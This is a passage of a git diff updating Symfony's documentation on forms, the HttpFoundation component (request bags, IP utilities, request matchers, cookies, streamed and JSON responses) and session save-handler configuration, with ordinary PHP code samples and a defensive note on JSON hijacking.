called. Otherwise, when using :doc:`form events </form/events>`, changes done + in the ``*_SUBMIT`` events won't be applied to the view (like validation errors). + This defines a common form "workflow", which contains 3 different possibilities: -1) On the initial GET request (i.e. when the user "surfs" to your page), +#. On the initial GET request (i.e. when the user "surfs" to your page), build your form and render it; -If the request is a POST, process the submitted data (via :method:`Symfony\\Component\\Form\\Form::handleRequest`). -Then: + If the request is a POST, process the submitted data (via :method:`Symfony\\Component\\Form\\Form::handleRequest`). -2) if the form is invalid, re-render the form (which will now contain errors); -3) if the form is valid, perform some action and redirect. + Then: + +#. if the form is invalid, re-render the form (which will now contain errors); +#. if the form is valid, perform some action and redirect. Luckily, you don't need to decide whether or not a form has been submitted. Just pass the current request to the :method:`Symfony\\Component\\Form\\Form::handleRequest` @@ -671,39 +676,21 @@ option when building each field: .. configuration-block:: - .. code-block:: php-standalone - - use Symfony\Component\Validator\Constraints\NotBlank; - use Symfony\Component\Validator\Constraints\Type; - use Symfony\Component\Form\Extension\Core\Type\TextType; - use Symfony\Component\Form\Extension\Core\Type\DateType; - - $form = $formFactory->createBuilder() - ->add('task', TextType::class, [ - 'constraints' => new NotBlank(), - ]) - ->add('dueDate', DateType::class, [ - 'constraints' => [ - new NotBlank(), - new Type(\DateTime::class), - ] - ]) - ->getForm(); - .. code-block:: php-symfony // src/Controller/DefaultController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Validator\Constraints\NotBlank; - use Symfony\Component\Validator\Constraints\Type; use Symfony\Component\Form\Extension\Core\Type\DateType; use Symfony\Component\Form\Extension\Core\Type\TextType; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Validator\Constraints\NotBlank; + use Symfony\Component\Validator\Constraints\Type; class DefaultController extends AbstractController { - public function new(Request $request) + public function new(Request $request): Response { $form = $this->createFormBuilder() ->add('task', TextType::class, [ @@ -713,13 +700,32 @@ option when building each field: 'constraints' => [ new NotBlank(), new Type(\DateTime::class), - ] + ], ]) ->getForm(); // ... } } + .. code-block:: php-standalone + + use Symfony\Component\Form\Extension\Core\Type\DateType; + use Symfony\Component\Form\Extension\Core\Type\TextType; + use Symfony\Component\Validator\Constraints\NotBlank; + use Symfony\Component\Validator\Constraints\Type; + + $form = $formFactory->createBuilder() + ->add('task', TextType::class, [ + 'constraints' => new NotBlank(), + ]) + ->add('dueDate', DateType::class, [ + 'constraints' => [ + new NotBlank(), + new Type(\DateTime::class), + ], + ]) + ->getForm(); + When the form is bound, these validation constraints will be applied automatically and the errors will display next to the fields on error. @@ -747,11 +753,11 @@ method to access the list of errors. It returns a // "firstName" field $errors = $form['firstName']->getErrors(); - // a FormErrorIterator instance in a flattened structure + // a FormErrorIterator instance including child forms in a flattened structure // use getOrigin() to determine the form causing the error $errors = $form->getErrors(true); - // a FormErrorIterator instance representing the form tree structure + // a FormErrorIterator instance including child forms without flattening the output structure $errors = $form->getErrors(true, false); Clearing Form Errors @@ -777,4 +783,4 @@ Learn more /form/* .. _Twig: https://twig.symfony.com -.. _`Twig Configuration`: https://twig.symfony.com/doc/2.x/intro.html +.. _`Twig Configuration`: https://twig.symfony.com/doc/3.x/intro.html diff --git a/components/http_foundation.rst b/components/http_foundation.rst index 62815a98a8b..1cb87aafb24 100644 --- a/components/http_foundation.rst +++ b/components/http_foundation.rst @@ -1,8 +1,3 @@ -.. index:: - single: HTTP - single: HttpFoundation - single: Components; HttpFoundation - The HttpFoundation Component ============================ @@ -81,19 +76,21 @@ can be accessed via several public properties: (``$request->headers->get('User-Agent')``). Each property is a :class:`Symfony\\Component\\HttpFoundation\\ParameterBag` -instance (or a sub-class of), which is a data holder class: +instance (or a subclass of), which is a data holder class: -* ``request``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`; +* ``request``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag` or + :class:`Symfony\\Component\\HttpFoundation\\InputBag` if the data is + coming from ``$_POST`` parameters; -* ``query``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`; +* ``query``: :class:`Symfony\\Component\\HttpFoundation\\InputBag`; -* ``cookies``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`; +* ``cookies``: :class:`Symfony\\Component\\HttpFoundation\\InputBag`; * ``attributes``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`; -* ``files``: :class:`Symfony\\Component\\HttpFoundation\\FileBag`; +* ``files``: :class:`Symfony\\Component\\HttpFoundation\\FileBag`; -* ``server``: :class:`Symfony\\Component\\HttpFoundation\\ServerBag`; +* ``server``: :class:`Symfony\\Component\\HttpFoundation\\ServerBag`; * ``headers``: :class:`Symfony\\Component\\HttpFoundation\\HeaderBag`. @@ -142,8 +139,18 @@ has some methods to filter the input values: :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getInt` Returns the parameter value converted to integer; +:method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getEnum` + Returns the parameter value converted to a PHP enum; + +:method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getString` + Returns the parameter value as a string; + :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter` Filters the parameter by using the PHP :phpfunction:`filter_var` function. + If invalid values are found, a + :class:`Symfony\\Component\\HttpKernel\\Exception\\BadRequestHttpException` + is thrown. The ``FILTER_NULL_ON_FAILURE`` flag can be used to ignore invalid + values. All getters take up to two arguments: the first one is the parameter name and the second one is the default value to return if the parameter does not @@ -161,18 +168,23 @@ exist:: // returns 'baz' When PHP imports the request query, it handles request parameters like -``foo[bar]=baz`` in a special way as it creates an array. So you can get the -``foo`` parameter and you will get back an array with a ``bar`` element:: +``foo[bar]=baz`` in a special way as it creates an array. The ``get()`` method +doesn't support returning arrays, so you need to use the following code:: // the query string is '?foo[bar]=baz' - $request->query->get('foo'); + // don't use $request->query->get('foo'); use the following instead: + $request->query->all('foo'); // returns ['bar' => 'baz'] + // if the requested parameter does not exist, an empty array is returned: + $request->query->all('qux'); + // returns [] + $request->query->get('foo[bar]'); // returns null - $request->query->get('foo')['bar']; + $request->query->all()['foo']['bar']; // returns 'baz' .. _component-foundation-attributes: @@ -188,7 +200,7 @@ Finally, the raw data sent with the request body can be accessed using $content = $request->getContent(); -For instance, this may be useful to process a XML string sent to the +For instance, this may be useful to process an XML string sent to the application by a remote service using the HTTP POST method. If the request body is a JSON string, it can be accessed using @@ -196,9 +208,12 @@ If the request body is a JSON string, it can be accessed using $data = $request->toArray(); -.. versionadded:: 5.2 +If the request data could be ``$_POST`` data *or* a JSON string, you can use +the :method:`Symfony\\Component\\HttpFoundation\\Request::getPayload` method +which returns an instance of :class:`Symfony\\Component\\HttpFoundation\\InputBag` +wrapping this data:: - The ``toArray()`` method was introduced in Symfony 5.2. + $data = $request->getPayload(); Identifying a Request ~~~~~~~~~~~~~~~~~~~~~ @@ -245,9 +260,9 @@ Accessing the Session ~~~~~~~~~~~~~~~~~~~~~ If you have a session attached to the request, you can access it via the -:method:`Symfony\\Component\\HttpFoundation\\Request::getSession` method; -the -:method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession` +``getSession()`` method of the :class:`Symfony\\Component\\HttpFoundation\\Request` +or :class:`Symfony\\Component\\HttpFoundation\\RequestStack` class; +the :method:`Symfony\\Component\\HttpFoundation\\Request::hasPreviousSession` method tells you if the request contains a session which was started in one of the previous requests. @@ -285,10 +300,6 @@ this complexity and defines some methods for the most common tasks:: HeaderUtils::parseQuery('foo[bar.baz]=qux'); // => ['foo' => ['bar.baz' => 'qux']] -.. versionadded:: 5.2 - - The ``parseQuery()`` method was introduced in Symfony 5.2. - Accessing ``Accept-*`` Headers Data ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -344,13 +355,115 @@ analysis purposes. Use the ``anonymize()`` method from the use Symfony\Component\HttpFoundation\IpUtils; $ipv4 = '123.234.235.236'; - $anonymousIpv4 = IPUtils::anonymize($ipv4); + $anonymousIpv4 = IpUtils::anonymize($ipv4); // $anonymousIpv4 = '123.234.235.0' $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f'; - $anonymousIpv6 = IPUtils::anonymize($ipv6); + $anonymousIpv6 = IpUtils::anonymize($ipv6); // $anonymousIpv6 = '2a01:198:603:10::' +If you need even more anonymization, you can use the second and third parameters +of the ``anonymize()`` method to specify the number of bytes that should be +anonymized depending on the IP address format:: + + $ipv4 = '123.234.235.236'; + $anonymousIpv4 = IpUtils::anonymize($ipv4, 3); + // $anonymousIpv4 = '123.0.0.0' + + $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f'; + // (you must define the second argument (bytes to anonymize in IPv4 addresses) + // even when you are only anonymizing IPv6 addresses) + $anonymousIpv6 = IpUtils::anonymize($ipv6, 3, 10); + // $anonymousIpv6 = '2a01:198:603::' + +.. versionadded:: 7.2 + + The ``v4Bytes`` and ``v6Bytes`` parameters of the ``anonymize()`` method + were introduced in Symfony 7.2. + +Check If an IP Belongs to a CIDR Subnet +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you need to know if an IP address is included in a CIDR subnet, you can use +the ``checkIp()`` method from :class:`Symfony\\Component\\HttpFoundation\\IpUtils`:: + + use Symfony\Component\HttpFoundation\IpUtils; + + $ipv4 = '192.168.1.56'; + $CIDRv4 = '192.168.1.0/16'; + $isIpInCIDRv4 = IpUtils::checkIp($ipv4, $CIDRv4); + // $isIpInCIDRv4 = true + + $ipv6 = '2001:db8:abcd:1234::1'; + $CIDRv6 = '2001:db8:abcd::/48'; + $isIpInCIDRv6 = IpUtils::checkIp($ipv6, $CIDRv6); + // $isIpInCIDRv6 = true + +Check if an IP Belongs to a Private Subnet +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you need to know if an IP address belongs to a private subnet, you can +use the ``isPrivateIp()`` method from the +:class:`Symfony\\Component\\HttpFoundation\\IpUtils` to do that:: + + use Symfony\Component\HttpFoundation\IpUtils; + + $ipv4 = '192.168.1.1'; + $isPrivate = IpUtils::isPrivateIp($ipv4); + // $isPrivate = true + + $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f'; + $isPrivate = IpUtils::isPrivateIp($ipv6); + // $isPrivate = false + +Matching a Request Against a Set of Rules +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The HttpFoundation component provides some matcher classes that allow you to +check if a given request meets certain conditions (e.g. it comes from some IP +address, it uses a certain HTTP method, etc.): + +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\AttributesRequestMatcher` +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\ExpressionRequestMatcher` +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\HeaderRequestMatcher` +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\HostRequestMatcher` +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IpsRequestMatcher` +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IsJsonRequestMatcher` +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\MethodRequestMatcher` +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PathRequestMatcher` +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher` +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\QueryParameterRequestMatcher` +* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher` + +You can use them individually or combine them using the +:class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher` class:: + + use Symfony\Component\HttpFoundation\ChainRequestMatcher; + use Symfony\Component\HttpFoundation\RequestMatcher\HostRequestMatcher; + use Symfony\Component\HttpFoundation\RequestMatcher\PathRequestMatcher; + use Symfony\Component\HttpFoundation\RequestMatcher\SchemeRequestMatcher; + + // use only one criteria to match the request + $schemeMatcher = new SchemeRequestMatcher('https'); + if ($schemeMatcher->matches($request)) { + // ... + } + + // use a set of criteria to match the request + $matcher = new ChainRequestMatcher([ + new HostRequestMatcher('example.com'), + new PathRequestMatcher('/admin'), + ]); + + if ($matcher->matches($request)) { + // ... + } + +.. versionadded:: 7.1 + + The ``HeaderRequestMatcher`` and ``QueryParameterRequestMatcher`` were + introduced in Symfony 7.1. + Accessing other Data ~~~~~~~~~~~~~~~~~~~~ @@ -442,6 +555,14 @@ Sending the response to the client is done by calling the method $response->send(); +The ``send()`` method takes an optional ``flush`` argument. If set to +``false``, functions like ``fastcgi_finish_request()`` or +``litespeed_finish_request()`` are not called. This is useful when debugging +your application to see which exceptions are thrown in listeners of the +:class:`Symfony\\Component\\HttpKernel\\Event\\TerminateEvent`. You can learn +more about it in +:ref:`the dedicated section about Kernel events <http-kernel-creating-listener>`. + Setting Cookies ~~~~~~~~~~~~~~~ @@ -472,9 +593,15 @@ a new object with the modified property:: ->withDomain('.example.com') ->withSecure(true); -.. versionadded:: 5.1 +It is possible to define partitioned cookies, also known as `CHIPS`_, by using the +:method:`Symfony\\Component\\HttpFoundation\\Cookie::withPartitioned` method:: - The ``with*()`` methods were introduced in Symfony 5.1. + $cookie = Cookie::create('foo') + ->withValue('bar') + ->withPartitioned(); + + // you can also set the partitioned argument to true when using the `create()` factory method + $cookie = Cookie::create('name', 'value', partitioned: true); Managing the HTTP Cache ~~~~~~~~~~~~~~~~~~~~~~~ @@ -488,6 +615,8 @@ of methods to manipulate the HTTP headers related to the cache: * :method:`Symfony\\Component\\HttpFoundation\\Response::setExpires` * :method:`Symfony\\Component\\HttpFoundation\\Response::setMaxAge` * :method:`Symfony\\Component\\HttpFoundation\\Response::setSharedMaxAge` +* :method:`Symfony\\Component\\HttpFoundation\\Response::setStaleIfError` +* :method:`Symfony\\Component\\HttpFoundation\\Response::setStaleWhileRevalidate` * :method:`Symfony\\Component\\HttpFoundation\\Response::setTtl` * :method:`Symfony\\Component\\HttpFoundation\\Response::setClientTtl` * :method:`Symfony\\Component\\HttpFoundation\\Response::setLastModified` @@ -515,16 +644,13 @@ call:: 'proxy_revalidate' => false, 'max_age' => 600, 's_maxage' => 600, + 'stale_if_error' => 86400, + 'stale_while_revalidate' => 60, 'immutable' => true, 'last_modified' => new \DateTime(), - 'etag' => 'abcdef' + 'etag' => 'abcdef', ]); -.. versionadded:: 5.1 - - The ``must_revalidate``, ``no_cache``, ``no_store``, ``no_transform`` and - ``proxy_revalidate`` directives were introduced in Symfony 5.1. - To check if the Response validators (``ETag``, ``Last-Modified``) match a conditional value specified in the client Request, use the :method:`Symfony\\Component\\HttpFoundation\\Response::isNotModified` @@ -555,13 +681,24 @@ Streaming a Response ~~~~~~~~~~~~~~~~~~~~ The :class:`Symfony\\Component\\HttpFoundation\\StreamedResponse` class allows -you to stream the Response back to the client. The response content is -represented by a PHP callable instead of a string:: +you to stream the Response back to the client. The response content can be +represented by a string iterable:: + + use Symfony\Component\HttpFoundation\StreamedResponse; + + $chunks = ['Hello', ' World']; + + $response = new StreamedResponse(); + $response->setChunks($chunks); + $response->send(); + +For most complex use cases, the response content can be instead represented by +a PHP callable:: use Symfony\Component\HttpFoundation\StreamedResponse; $response = new StreamedResponse(); - $response->setCallback(function () { + $response->setCallback(function (): void { var_dump('Hello World'); flush(); sleep(2); @@ -582,7 +719,103 @@ represented by a PHP callable instead of a string:: header in the response:: // disables FastCGI buffering in nginx only for this response - $response->headers->set('X-Accel-Buffering', 'no') + $response->headers->set('X-Accel-Buffering', 'no'); + +.. versionadded:: 7.3 + + Support for using string iterables was introduced in Symfony 7.3. + +Streaming a JSON Response +~~~~~~~~~~~~~~~~~~~~~~~~~ + +The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` allows to +stream large JSON responses using PHP generators to keep the used resources low. + +The class constructor expects an array which represents the JSON structure and +includes the list of contents to stream. In addition to PHP generators, which are +recommended to minimize memory usage, it also supports any kind of PHP Traversable +containing JSON serializable data:: + + use Symfony\Component\HttpFoundation\StreamedJsonResponse; + + // any method or function returning a PHP Generator + function loadArticles(): \Generator { + yield ['title' => 'Article 1']; + yield ['title' => 'Article 2']; + yield ['title' => 'Article 3']; + }; + + $response = new StreamedJsonResponse( + // JSON structure with generators in which will be streamed as a list + [ + '_embedded' => [ + 'articles' => loadArticles(), + ], + ], + ); + +When loading data via Doctrine, you can use the ``toIterable()`` method to +fetch results row by row and minimize resources consumption. +See the `Doctrine Batch processing`_ documentation for more:: + + public function __invoke(): Response + { + return new StreamedJsonResponse( + [ + '_embedded' => [ + 'articles' => $this->loadArticles(), + ], + ], + ); + } + + public function loadArticles(): \Generator + { + // get the $entityManager somehow (e.g. via constructor injection) + $entityManager = ... + + $queryBuilder = $entityManager->createQueryBuilder(); + $queryBuilder->from(Article::class, 'article'); + $queryBuilder->select('article.id') + ->addSelect('article.title') + ->addSelect('article.description'); + + return $queryBuilder->getQuery()->toIterable(); + } + +If you return a lot of data, consider calling the :phpfunction:`flush` function +after some specific item count to send the contents to the browser:: + + public function loadArticles(): \Generator + { + // ... + + $count = 0; + foreach ($queryBuilder->getQuery()->toIterable() as $article) { + yield $article; + + if (0 === ++$count % 100) { + flush(); + } + } + } + +Alternatively, you can also pass any iterable to ``StreamedJsonResponse``, +including generators:: + + public function loadArticles(): \Generator + { + yield ['title' => 'Article 1']; + yield ['title' => 'Article 2']; + yield ['title' => 'Article 3']; + } + + public function __invoke(): Response + { + // ... + + return new StreamedJsonResponse(loadArticles()); + } .. _component-http-foundation-serving-files: @@ -619,9 +852,10 @@ Alternatively, if you are serving a static file, you can use a The ``BinaryFileResponse`` will automatically handle ``Range`` and ``If-Range`` headers from the request. It also supports ``X-Sendfile`` -(see for `nginx`_ and `Apache`_). To make use of it, you need to determine -whether or not the ``X-Sendfile-Type`` header should be trusted and call -:method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader` +(see `FrankenPHP X-Sendfile and X-Accel-Redirect headers`_, +`nginx X-Accel-Redirect header`_ and `Apache mod_xsendfile module`_). To make use +of it, you need to determine whether or not the ``X-Sendfile-Type`` header should +be trusted and call :method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader` if it should:: BinaryFileResponse::trustXSendfileTypeHeader(); @@ -660,6 +894,23 @@ It is possible to delete the file after the response is sent with the :method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::deleteFileAfterSend` method. Please note that this will not work when the ``X-Sendfile`` header is set. +Alternatively, ``BinaryFileResponse`` supports instances of ``\SplTempFileObject``. +This is useful when you want to serve a file that has been created in memory +and that will be automatically deleted after the response is sent:: + + use Symfony\Component\HttpFoundation\BinaryFileResponse; + + $file = new \SplTempFileObject(); + $file->fwrite('Hello World'); + $file->rewind(); + + $response = new BinaryFileResponse($file); + +.. versionadded:: 7.1 + + The support for ``\SplTempFileObject`` in ``BinaryFileResponse`` + was introduced in Symfony 7.1. + If the size of the served file is unknown (e.g. because it's being generated on the fly, or because a PHP stream filter is registered on it, etc.), you can pass a ``Stream`` instance to ``BinaryFileResponse``. This will disable ``Range`` and ``Content-Length`` @@ -668,7 +919,7 @@ handling, switching to chunked encoding instead:: use Symfony\Component\HttpFoundation\BinaryFileResponse; use Symfony\Component\HttpFoundation\File\Stream; - $stream = new Stream('path/to/stream'); + $stream = new Stream('path/to/stream'); $response = new BinaryFileResponse($stream); .. note:: @@ -703,9 +954,11 @@ class, which can make this even easier:: // if you know the data to send when creating the response $response = new JsonResponse(['data' => 123]); - // if you don't know the data to send when creating the response + // if you don't know the data to send or if you want to customize the encoding options $response = new JsonResponse(); // ... + // configure any custom encoding options (if needed, it must be called before "setData()") + //$response->setEncodingOptions(JsonResponse::DEFAULT_ENCODING_OPTIONS | \JSON_PRESERVE_ZERO_FRACTION); $response->setData(['data' => 123]); // if the data to send is already encoded in JSON @@ -714,10 +967,10 @@ class, which can make this even easier:: The ``JsonResponse`` class sets the ``Content-Type`` header to ``application/json`` and encodes your data to JSON when needed. -.. caution:: +.. danger:: To avoid XSSI `JSON Hijacking`_, you should pass an associative array - as the outer-most array to ``JsonResponse`` and not an indexed array so + as the outermost array to ``JsonResponse`` and not an indexed array so that the final result is an object (e.g. ``{"object": "not inside an array"}``) instead of an array (e.g. ``[{"object": "inside an array"}]``). Read the `OWASP guidelines`_ for more information. @@ -725,6 +978,16 @@ The ``JsonResponse`` class sets the ``Content-Type`` header to Only methods that respond to GET requests are vulnerable to XSSI 'JSON Hijacking'. Methods responding to POST requests only remain unaffected. +.. warning:: + + The ``JsonResponse`` constructor exhibits non-standard JSON encoding behavior + and will treat ``null`` as an empty object if passed as a constructor argument, + despite null being a `valid JSON top-level value`_. + + This behavior cannot be changed without backwards-compatibility concerns, but + it's possible to call ``setData`` and pass the value there to opt-out of the + behavior. + JSONP Callback ~~~~~~~~~~~~~~ @@ -743,7 +1006,7 @@ the response content will look like this: Session ------- -The session information is in its own document: :doc:`/components/http_foundation/sessions`. +The session information is in its own document: :doc:`/session`. Safe Content Preference ----------------------- @@ -761,11 +1024,6 @@ Symfony offers two methods to interact with this preference: * :method:`Symfony\\Component\\HttpFoundation\\Request::preferSafeContent`; * :method:`Symfony\\Component\\HttpFoundation\\Response::setContentSafe`; -.. versionadded:: 5.1 - - The ``preferSafeContent()`` and ``setContentSafe()`` methods were introduced - in Symfony 5.1. - The following example shows how to detect if the user agent prefers "safe" content:: if ($request->preferSafeContent()) { @@ -774,6 +1032,37 @@ The following example shows how to detect if the user agent prefers "safe" conte $response->setContentSafe(); return $response; + +Generating Relative and Absolute URLs +------------------------------------- + +Generating absolute and relative URLs for a given path is a common need +in some applications. In Twig templates you can use the +:ref:`absolute_url() <reference-twig-function-absolute-url>` and +:ref:`relative_path() <reference-twig-function-relative-path>` functions to do that. + +The :class:`Symfony\\Component\\HttpFoundation\\UrlHelper` class provides the +same functionality for PHP code via the ``getAbsoluteUrl()`` and ``getRelativePath()`` +methods. You can inject this as a service anywhere in your application:: + + // src/Normalizer/UserApiNormalizer.php + namespace App\Normalizer; + + use Symfony\Component\HttpFoundation\UrlHelper; + + class UserApiNormalizer + { + public function __construct( + private UrlHelper $urlHelper, + ) { + } + + public function normalize($user): array + { + return [ + 'avatar' => $this->urlHelper->getAbsoluteUrl($user->avatar()->path()), + ]; + } } Learn More @@ -783,14 +1072,17 @@ Learn More :maxdepth: 1 :glob: - /components/http_foundation/* /controller /controller/* - /session/* + /session /http_cache/* -.. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/ -.. _Apache: https://tn123.org/mod_xsendfile/ +.. _`FrankenPHP X-Sendfile and X-Accel-Redirect headers`: https://frankenphp.dev/docs/x-sendfile/ +.. _`nginx X-Accel-Redirect header`: https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_ignore_headers +.. _`Apache mod_xsendfile module`: https://github.com/nmaier/mod_xsendfile .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/ +.. _`valid JSON top-level value`: https://www.json.org/json-en.html .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside .. _RFC 8674: https://tools.ietf.org/html/rfc8674 +.. _Doctrine Batch processing: https://www.doctrine-project.org/projects/doctrine-orm/en/2.14/reference/batch-processing.html#iterating-results +.. _`CHIPS`: https://developer.mozilla.org/en-US/docs/Web/Privacy/Partitioned_cookies diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst deleted file mode 100644 index c8b29fb00b4..00000000000 --- a/components/http_foundation/session_configuration.rst +++ /dev/null @@ -1,290 +0,0 @@ -.. index:: - single: HTTP - single: HttpFoundation, Sessions - -Configuring Sessions and Save Handlers -====================================== - -This article deals with how to configure session management and fine tune it -to your specific needs. This documentation covers save handlers, which -store and retrieve session data, and configuring session behavior. - -Save Handlers -~~~~~~~~~~~~~ - -The PHP session workflow has 6 possible operations that may occur. The normal -session follows ``open``, ``read``, ``write`` and ``close``, with the possibility -of ``destroy`` and ``gc`` (garbage collection which will expire any old sessions: -``gc`` is called randomly according to PHP's configuration and if called, it is -invoked after the ``open`` operation). You can read more about this at -`php.net/session.customhandler`_ - -Native PHP Save Handlers ------------------------- - -So-called native handlers, are save handlers which are either compiled into -PHP or provided by PHP extensions, such as PHP-SQLite, PHP-Memcached and so on. - -All native save handlers are internal to PHP and as such, have no public facing API. -They must be configured by ``php.ini`` directives, usually ``session.save_path`` and -potentially other driver specific directives. Specific details can be found in -the docblock of the ``setOptions()`` method of each class. For instance, the one -provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOption>`. - -While native save handlers can be activated by directly using -``ini_set('session.save_handler', $name);``, Symfony provides a convenient way to -activate these in the same way as it does for custom handlers. - -Symfony provides drivers for the following native save handler as an example: - -* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\NativeFileSessionHandler` - -Example usage:: - - use Symfony\Component\HttpFoundation\Session\Session; - use Symfony\Component\HttpFoundation\Session\Storage\Handler\NativeFileSessionHandler; - use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage; - - $sessionStorage = new NativeSessionStorage([], new NativeFileSessionHandler()); - $session = new Session($sessionStorage); - -.. note:: - - With the exception of the ``files`` handler which is built into PHP and - always available, the availability of the other handlers depends on those - PHP extensions being active at runtime. - -.. note:: - - Native save handlers provide a quick solution to session storage, however, - in complex systems where you need more control, custom save handlers may - provide more freedom and flexibility. Symfony provides several implementations - which you may further customize as required. - -Custom Save Handlers --------------------- - -Custom handlers are those which completely replace PHP's built-in session save -handlers by providing six callback functions which PHP calls internally at -various points in the session workflow. - -The Symfony HttpFoundation component provides some by default and these can -serve as examples if you wish to write your own. - -* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler` -* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler` -* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MigratingSessionHandler` -* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\RedisSessionHandler` -* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler` -* :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\NullSessionHandler` - -Example usage:: - - use Symfony\Component\HttpFoundation\Session\Session; - use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler; - use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage; - - $pdo = new \PDO(...); - $sessionStorage = new NativeSessionStorage([], new PdoSessionHandler($pdo)); - $session = new Session($sessionStorage); - -Migrating Between Save Handlers -------------------------------- - -If your application changes the way sessions are stored, use the -:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MigratingSessionHandler` -to migrate between old and new save handlers without losing session data. - -This is the recommended migration workflow: - -#. Switch to the migrating handler, with your new handler as the write-only one. - The old handler behaves as usual and sessions get written to the new one:: - - $sessionStorage = new MigratingSessionHandler($oldSessionStorage, $newSessionStorage); - -#. After your session gc period, verify that the data in the new handler is correct. -#. Update the migrating handler to use the old handler as the write-only one, so - the sessions will now be read from the new handler. This step allows easier rollbacks:: - - $sessionStorage = new MigratingSessionHandler($newSessionStorage, $oldSessionStorage); - -#. After verifying that the sessions in your application are working, switch - from the migrating handler to the new handler. - -Configuring PHP Sessions -~~~~~~~~~~~~~~~~~~~~~~~~ - -The :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage` -can configure most of the ``php.ini`` configuration directives which are documented -at `php.net/session.configuration`_. - -To configure these settings, pass the keys (omitting the initial ``session.`` part -of the key) as a key-value array to the ``$options`` constructor argument. -Or set them via the -:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions` -method. - -For the sake of clarity, some key options are explained in this documentation. - -Session Cookie Lifetime -~~~~~~~~~~~~~~~~~~~~~~~ - -For security, session tokens are generally recommended to be sent as session cookies. -You can configure the lifetime of session cookies by specifying the lifetime -(in seconds) using the ``cookie_lifetime`` key in the constructor's ``$options`` -argument in :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`. - -Setting a ``cookie_lifetime`` to ``0`` will cause the cookie to live only as -long as the browser remains open. Generally, ``cookie_lifetime`` would be set to -a relatively large number of days, weeks or months. It is not uncommon to set -cookies for a year or more depending on the application. - -Since session cookies are just a client-side token, they are less important in -controlling the fine details of your security settings which ultimately can only -be securely controlled from the server side. - -.. note:: - - The ``cookie_lifetime`` setting is the number of seconds the cookie should live - for, it is not a Unix timestamp. The resulting session cookie will be stamped - with an expiry time of ``time()`` + ``cookie_lifetime`` where the time is taken - from the server. - -Configuring Garbage Collection -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -When a session opens, PHP will call the ``gc`` handler randomly according to the -probability set by ``session.gc_probability`` / ``session.gc_divisor``. For -example if these were set to ``5/100`` respectively, it would mean a probability -of 5%. Similarly, ``3/4`` would mean a 3 in 4 chance of being called, i.e. 75%. - -If the garbage collection handler is invoked, PHP will pass the value stored in -the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this context is -that any stored session that was saved more than ``gc_maxlifetime`` ago should be -deleted. This allows one to expire records based on idle time. - -However, some operating systems (e.g. Debian) do their own session handling and set -the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage -collection. That's why Symfony now overwrites this value to ``1``. - -If you wish to use the original value set in your ``php.ini``, add the following -configuration: - -.. code-block:: yaml - - # config/packages/framework.yaml - framework: - session: - gc_probability: null - -You can configure these settings by passing ``gc_probability``, ``gc_divisor`` -and ``gc_maxlifetime`` in an array to the constructor of 